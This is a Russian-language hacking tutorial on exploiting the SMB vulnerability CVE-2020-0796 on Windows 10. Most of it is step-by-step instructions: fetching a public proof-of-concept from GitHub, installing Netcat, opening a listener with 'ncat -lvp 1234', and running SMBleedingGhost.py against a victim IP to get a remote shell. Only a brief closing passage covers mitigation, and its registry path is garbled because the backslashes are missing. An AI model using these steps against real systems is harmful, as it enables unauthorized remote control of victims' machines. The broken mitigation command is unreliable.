Введение
Приветствую всех, кто читает эту статью. Это время я бы хотел уделить одной очень интересной уязвимости на мой взгляд. Была открыта она еще в начале наших изоляционных дней. Когда все проблемы оставались в Китае Но сейчас не об этом. Под угрозу было поставлено достаточное количество устройств и решил ее рассмотреть так как с помощью нее возможно было распространение червя, похожего по архитектуре на WannaCry. Теперь я разбудил ваш интерес? Тогда давайте разберемся, что к чему.
Удаленное выполнение кода POC
Именно такое описание получила уязвимость CVE-2020-0796. Давайте взглянем на краткую сводку нашей проблемы. А именно:
1. Дата появления: 10 марта 2020 года.
2. Уязвимые системы: Windows 10 с версии 1903 до 1909.
3. Тип: RCE (удаленное выполнения вредоносного кода).
Теперь идем к тому, как это все работает. У данной уязвимости имеется свой эксплоит, но для начала взглянем на схему работы, что я делал специально для статьи:
Попытался все сделать моментально понятно. Из "схемы" выше можно сделать вывод о том, что у нас происходит создание защищенного соединения от пользователя при помощи Netcat на порту 4321. Так же разберем флаги, что используются для создания:
-l режим прослушивания.
-v вывод информации о процессе работы.
-p {номер} локальное число для прослушивания.
Сама же уязвимость связанна с тем, что что протокол Microsoft Server Message Block версии 3.1.1 обрабатывает определенные запросы с помощью которых злоумышленник может получить удаленное управления системой. От теории к практике, попытаемся эксплуатировать нашу уязвимость.
Эксплуатация CVE
Сам эксплоит, что нам понадобиться размещен как всегда на Github. Скачиваем его и разархивируем. Для машины жертвы нужно запустить bat-файл:
После устанавливаем сам Netcat, короткая инструкция ниже.
Windows:
1. Скачиваем программу [
Ссылка скрыта от гостей
]2. Перемещаем ее на Локальный Диск C.
3. Открываем консоль и выполняем код:
cd C:\NetCat
start nc.exe
Linux:
1. Открываем консоль.
2. Выполняем код:
apt-get install ncat
Теперь нам нужно запустить слушателя для приема управления системой. Для этого пишем:
ncat -lvp 1234 ([I]можно любой порт[/I])
На Windows запускаете ncat и в консоле пишете: -lvp 1234 (это все на машине хакера).
Еще пару шагов и мы получим полный контроль. Переходим на уязвимую машину. Закидываем папку CVE-2020-0796-RCE-POC-master на локальный диск и переходим в нее через консоль. Остается дело за малым. Подключаемся, с помощью команды:
SMBleedingGhost.py <IP жертвы> <IP атакующего> <порт указанный в ncat>
И получаем сессию на устройстве, где мы запустили слушателя. Все очень запутано, но мы добились своего. Если конечно вы взяли уязвимое устройство. Для защиты от подобного рода уязвимости было рекомендовано создать ключ ниже в реестре при помощи PowerShell скрипта:
Set-ItemProperty -Path "HKLM:SYSTEMCurrentControlSetServicesLanmanServerParameters" DisableCompression -Type DWORD -Value 1 -Force
Так же стоит закрыть доступ к 445 порту. Теперь идем к завершению.